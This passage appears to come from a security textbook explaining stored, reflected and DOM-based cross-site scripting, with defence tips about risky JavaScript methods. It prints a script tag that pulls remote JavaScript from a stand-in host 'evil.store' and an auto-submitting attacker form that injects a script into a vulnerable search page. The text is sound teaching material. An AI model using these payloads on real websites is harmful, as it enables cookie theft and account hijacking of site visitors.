The main aim of XSS is to execute JavaScript on the victim's browser but there are different ways to achieve it, depending on the design and purpose of the website. There are three major categories of XSS:
This form of cross-site scripting is also known as stored XSS. A XSS flaw is called a persistent XSS when the injected data is stored on the webserver or the database on the server side and the application serves it back to the user without validation. An attacker whose aim is to infect every visitor of the website would use the persistent XSS attack, which would enable him or her to exploit the website on a large scale.
Typical targets of persistent XSS flaws are as follows:
Persistent XSS is considered to be more serious than other XSS flaws, as the attacker's malicious script is injected in the victim's browser automatically. This does not require a phishing attack to lure the user into clicking on a link. The attacker uploads the malicious script on to a vulnerable website, which is delivered to the victim's browser during normal browsing activity. In persistent XSS, you can also directly import the JavaScript file from a remote server. When injected, the following code will query the remote server for JavaScript to be executed:
<script type="text/javascript" src=http://evil.store/malicious.js></script>
An example of a web application vulnerable to persistent XSS is shown in the following diagram. The application is an online forum where users can create accounts and interact with other people. The application stores the users' profile in a database along with other details. The attacker finds out that the application fails to sanitize the data provided in the comments section, and uses this opportunity to add a malicious JavaScript in that field. This JavaScript gets stored in the database of the web application. During normal browsing, when an innocent victim views these comments, the JavaScript gets executed on the victim's browser, which grabs the cookie and delivers it to a remote server under the control of the attacker:
Reflected XSS is also known as nonpersistent XSS. In this form of attack, the malicious script is part of the victim's request to the web application, which is reflected back by the application in form of the response. This may look difficult to exploit as a user won't willingly send a malicious script to server, but there are several ways to trick the user to launch a reflected XSS attack against its own browser.
A reflected XSS is mostly used in targeted attacks where the hacker deploys a phishing e-mail containing the malicious script along with the URL, or the attack could involve publishing a link on a public website and enticing the user to click on it. These methods, combined with a URL shortening service that shortens the URL and hides the long, weird-looking script that would raise doubts in the mind of the victim, could be used to execute a reflected XSS attack with great amount of success.
As shown in the following diagram, the victim is tricked into clicking a URL that delivers the script to the application, which is then reflected back without proper validation:
The third type of cross-site scripting is local and directly affects the victim's browser. This attack does not rely on the malicious content being sent to server. In the persistent and reflected XSS, the script is included in the response by the server. The victim's browser accepts it, assuming it to be a legitimate part of the web page, and executes it as the page loads. In DOM-based XSS, only the legitimate script that is provided by the server is executed.
An increasing number of HTML pages are generated by downloading JavaScript on the client-side rather than by the server. Any time an element of the page is to be changed without refreshing the entire page, it is done using JavaScript. A typical example is website providing live updates of a cricket match, which refreshes the score section in regular intervals.
DOM-based XSS makes use of this legitimate client-side code to execute a scripting attack. The most important part of DOM-based XSS is that the legitimate script is using a user-supplied input to add HTML content to the web page displayed on the user's browser.
Let's discuss an example of DOM-based XSS:
http://www.cityguide.com/index.html?city=Mumbai
http://www.cityguide.com
to receive the web page. On the user's browser, a legitimate JavaScript is downloaded and run, which edits the HTML page to add the city name on the top of the loaded page as a heading. The city name is taken from the URL (in this case, Mumbai
). So, the city name is the parameter the user can control.#
sign is used to prevent any content after the sign from being sent to the server. Therefore, the server-side code has no access to it even though the client-side code can access it.The malicious URL may look like the following:
http://www.cityguide.com/index.html?#city=<script>function</script>
The following diagram shows the illustration of DOM-based XSS:
Since the malicious payload in DOM-based XSS does not hit the server, it is not possible to detect it using server-side validation techniques. The problem still exists in the way the application is programmed, but the fault lies in the client-side code. One of the key defence methods is to avoid building the HTML page using client-side data.
At times, it would not be possible to avoid user input in client-side code, so the best defence against DOM-based XSS is to avoid using risky HTML and JavaScript methods.
The following methods should be used with extreme care:
document.write()
:document.write('City name='+userinput);
element.innerHTML
:element.innerHTML='<div>'+userinput +'</div>';
eval
;var UserInput="'Mumbai';alert(x);"; eval("document.forms[0]."+"Cityname="+txtUserInput);
Besides this, you could encode the user input before using it in the client side code. Using string delimiters and wrapping the user data into a custom function are other defence methods. Some JavaScript frameworks also have inbuilt protection against DOM-based attacks.
In the reflected XSS example that we discussed, we used the GET
method. This makes it very easy for the attacker to inject data, as it only requires constructing a custom URL with the script and tricking the user to click on it. When the web page passes the input using the POST
method, exploiting the XSS flaw requires additional steps.
With the POST
method, the attacker won't be able to inject the script directly because the input is not passed in the URL. The attacker will have to think of an indirect way to inject the script. The following example will describe the process.
Suppose the search function on a web page is vulnerable to a XSS flaw and when the attacker injects a script in the search box on that page, it is reflected back without sanitization. A sample code for the HTML page is shown as follows:
<html> <body> <form name="query" method="post" action="/search.php"> <input type="text" name="search_input" value=""> <input type="submit" value="submit"> </form> </body> </html>
One way to execute XSS using the POST
method is by tricking the user to fill some form on the attacker's page and making them click on the submit button. The attacker's website would then transfer the user to the vulnerable website, replacing the user input with a malicious script.
Trying to trick the user into a filling a form on the attacker's website is most likely to fail and it would only be successful in very rare cases. Therefore, we need to automate it by embedding the malicious script and the POST
request for the vulnerable application directly on a web page under the control of the attacker. Let's discuss an example of such a page. The attacker-controlled website is at http://www.evilattacker.com, which loads the vulnerable web page, http://www.xssvulnerable.org/search.php
. As soon as the evilattacker.com
website is opened, the onload
function is executed and the browser sends a POST HTTP
request to the vulnerable website with the embedded payload, without the victim having to click on the submit button. The code is as follows:
<html> <head> <body onload="evilsearch.submit();"> <form method="post" action="http://www.xssvulnerable.org/search.php" name="evilsearch" > <input name="search_input" value="<SCRIPT>alert('XSS')</SCRIPT>"> <input type="submit" class="button" name="submit"> </form> </body> </html>
Using this method, the attacker won't have to make the user fill any form and will only have to trick the user into visiting a web page under his control.